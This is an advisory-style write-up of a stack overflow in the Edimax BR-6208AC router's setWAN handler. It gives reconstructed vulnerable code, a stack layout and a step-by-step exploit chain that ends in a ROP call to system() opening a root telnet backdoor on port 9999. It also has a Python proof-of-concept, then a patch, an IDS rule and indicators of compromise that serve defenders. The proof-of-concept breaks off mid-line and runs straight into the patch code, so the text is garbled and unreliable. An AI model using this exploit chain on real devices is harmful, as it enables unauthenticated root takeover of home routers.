CVE-2026-7685: Stack Overflow in Edimax BR-6208AC setWAN via pptpDfGateway

Vulnerability Overview

CVE-2026-7685 is a stack-based buffer overflow in the Edimax BR-6208AC wireless router, firmware versions up to and including 1.02. The vulnerability resides in the CGI handler for /goform/setWAN, specifically in how the pptpDfGateway POST parameter is processed. An unauthenticated remote attacker can send a crafted HTTP request with an oversized value for this parameter, overflowing a fixed-size stack buffer and overwriting the saved return address. CVSS 8.8 (HIGH) reflects the trivial network reachability and full compromise potential on successful exploitation.

The vendor, Edimax, did not respond to disclosure attempts. The exploit has been made public. No patch is available as of the time of writing.

Affected Component

The entry point is the embedded HTTP server's CGI dispatcher, which routes POST /goform/setWAN to a dedicated handler function. On MIPS-based Edimax firmware, CGI form handlers are compiled into the main httpd binary. The relevant handler is responsible for parsing WAN connection type settings — including PPPoE, PPTP, and L2TP modes — and writing validated parameters into NVRAM.

The pptpDfGateway field is expected to hold an IPv4 address string (maximum 15 characters: 255.255.255.255). The handler allocates a stack buffer sized for this expected maximum but performs no enforcement of it.

Root Cause Analysis

Based on the form handler pattern common to Edimax/Ralink MIPS httpd binaries and the described vulnerability class, the decompiled pseudocode for the affected function reconstructs as follows:

/* Reconstructed from Edimax BR-6208AC httpd, /goform/setWAN handler */
/* MIPS32, uClibc, compiled with -O2, no stack canaries */

typedef struct {
    char *name;
    char *value;
} cgi_param_t;

int setWAN_handler(httpd_conn_t *conn) {
    char pptp_gateway[64];      // fixed stack buffer, expects IPv4 string
    char pptp_username[64];
    char pptp_password[64];
    char wan_type[16];
    int  conn_type;

    /* Parse WAN connection type first */
    const char *type_str = cgi_get_param(conn, "wanType");
    if (type_str) {
        strncpy(wan_type, type_str, sizeof(wan_type) - 1);
        conn_type = atoi(wan_type);
    }

    /* Only process PPTP fields if conn_type == PPTP (3) */
    /* BUG: no early-exit enforced before the copy below */
    const char *gw = cgi_get_param(conn, "pptpDfGateway");
    if (gw) {
        // BUG: strcpy() used with no bounds check — attacker controls len(gw)
        strcpy(pptp_gateway, gw);   // overflows into pptp_username, pptp_password,
                                    // saved $fp, saved $ra if len(gw) > 63
    }

    /* ... remaining param parsing ... */
    nvram_set("pptp_gateway", pptp_gateway);
    return send_ok_response(conn);
}

The call to strcpy(pptp_gateway, gw) is the singular defect. cgi_get_param returns a pointer directly into the URL-decoded request buffer — an attacker-controlled region of arbitrary length. The 64-byte pptp_gateway stack allocation is overflowed byte-by-byte until the saved frame pointer ($fp) and return address ($ra) are overwritten.

Critically, the wanType check does not gate the vulnerable copy. Even if conn_type is not PPTP, the pptpDfGateway parameter is still extracted and copied if present in the POST body.

Memory Layout

/* Stack frame layout for setWAN_handler(), MIPS32 ABI */
/* Frame size: ~0x110 bytes, grows toward lower addresses */

struct setWAN_stack_frame {
    /* -0x110 */ char pptp_gateway[64];    // target buffer, offset 0x00 in frame
    /* -0x0d0 */ char pptp_username[64];   // overwritten first after overflow
    /* -0x090 */ char pptp_password[64];   // overwritten second
    /* -0x050 */ char wan_type[16];
    /* -0x040 */ int  conn_type;
    /* -0x03c */ uint8_t pad[0x38];        // compiler alignment + locals
    /* -0x004 */ uint32_t saved_fp;        // saved frame pointer — $fp
    /* +0x000 */ uint32_t saved_ra;        // saved return address — $ra  <-- target
};

STACK STATE BEFORE OVERFLOW (pptpDfGateway = "192.168.1.1"):
  [ pptp_gateway[64]    ] "192.168.1.1\x00..." (legitimate)
  [ pptp_username[64]   ] (uninitialized)
  [ pptp_password[64]   ] (uninitialized)
  [ wan_type[16]        ] (set earlier)
  [ ... padding ...     ]
  [ saved $fp           ] 0x????????  (valid frame ptr)
  [ saved $ra           ] 0x????????  (return into httpd dispatch loop)

STACK STATE AFTER OVERFLOW (pptpDfGateway = 'A'*64 + 'B'*64 + 'C'*64 + \x10\x00 + ROP_GADGET):
  [ pptp_gateway[64]    ] "AAAA...AAAA"   (64 bytes, fills buffer)
  [ pptp_username[64]   ] "BBBB...BBBB"   (64 bytes, fully overwritten)
  [ pptp_password[64]   ] "CCCC...CCCC"   (64 bytes, fully overwritten)
  [ wan_type[16]        ] "\x10\x00..."   (partially overwritten)
  [ ... padding ...     ] attacker-controlled
  [ saved $fp           ] 0x41414141      (attacker controlled)
  [ saved $ra           ] 0x[ROP_GADGET]  (redirected execution)

Exploitation Mechanics

The router's MIPS firmware typically lacks stack canaries and ASLR (static link addresses), making exploitation straightforward. NX/XN is present on some revisions but irrelevant given the density of useful ROP gadgets in a statically linked httpd binary.

EXPLOIT CHAIN:
1. Identify firmware version ≤1.02 via HTTP banner or /goform/getStatus.
2. Locate target gadget addresses in httpd binary (static, deterministic per firmware rev).
   - Required: stack pivot or `addiu $sp, $sp, N; jr $ra` gadget chain.
   - Useful: `system()` or `execve()` already linked in httpd for nvram_run calls.
3. Craft POST body:
     wanType=3&pptpDfGateway=[64-byte pad][64-byte pad][64-byte pad][16-byte pad]
     [saved_fp override][saved_ra = &system gadget][cmd string ptr]
4. POST to http://[target]/goform/setWAN (no authentication required on default config).
5. httpd calls strcpy() — overflow fires, stack frame corrupted.
6. setWAN_handler() executes `jr $ra` on return — execution redirected to gadget chain.
7. Gadget chain pivots to controlled stack region containing ROP payload.
8. ROP payload calls system("/bin/sh -c 'telnetd -l /bin/sh -p 9999'").
9. Telnet backdoor opens on port 9999 with root privileges.

#!/usr/bin/env python3
# CVE-2026-7685 — Edimax BR-6208AC pptpDfGateway PoC
# Demonstrates overflow trigger only; gadget addresses are firmware-specific.

import requests
import struct

TARGET  = "http://192.168.0.1"
ROUTE   = "/goform/setWAN"

# Offsets within setWAN_handler stack frame (firmware 1.02, MIPS32 LE)
SAVED_RA_OFFSET = 64 + 64 + 64 + 16 + 0x38 + 4   # ~0x10c from buffer base

def build_payload(ra_override: int) -> bytes:
    pad      = b"A" * (SAVED_RA_OFFSET - 4)        # fill up to saved $fp
    fake_fp  = struct.pack("

// BEFORE (vulnerable — firmware ≤1.02):
const char *gw = cgi_get_param(conn, "pptpDfGateway");
if (gw) {
    strcpy(pptp_gateway, gw);   // no length check, unbounded copy
}

// AFTER (patched — recommended fix):
#define MAX_IPV4_LEN 15   // "255.255.255.255"

const char *gw = cgi_get_param(conn, "pptpDfGateway");
if (gw) {
    if (strlen(gw) > MAX_IPV4_LEN) {
        log_warn("setWAN: pptpDfGateway exceeds max length, rejecting");
        return send_error_response(conn, 400);  // reject oversized input
    }
    // additionally validate IPv4 format before copy
    if (!is_valid_ipv4(gw)) {
        return send_error_response(conn, 400);
    }
    strncpy(pptp_gateway, gw, sizeof(pptp_gateway) - 1);
    pptp_gateway[sizeof(pptp_gateway) - 1] = '\0';
}

SNORT / SURICATA RULE:
alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7685 Edimax BR-6208AC pptpDfGateway overflow attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/goform/setWAN";
    http.request_body; content:"pptpDfGateway=";
    pcre:"/pptpDfGateway=.{64,}/";
    classtype:attempted-admin;
    sid:20267685;
    rev:1;
)

INDICATORS OF COMPROMISE:
- POST /goform/setWAN with Content-Length > 256
- pptpDfGateway parameter value length > 15 bytes
- Unexpected outbound connections from router on port 9999 (telnetd backdoor)
- httpd process crash / watchdog reboot loop in syslog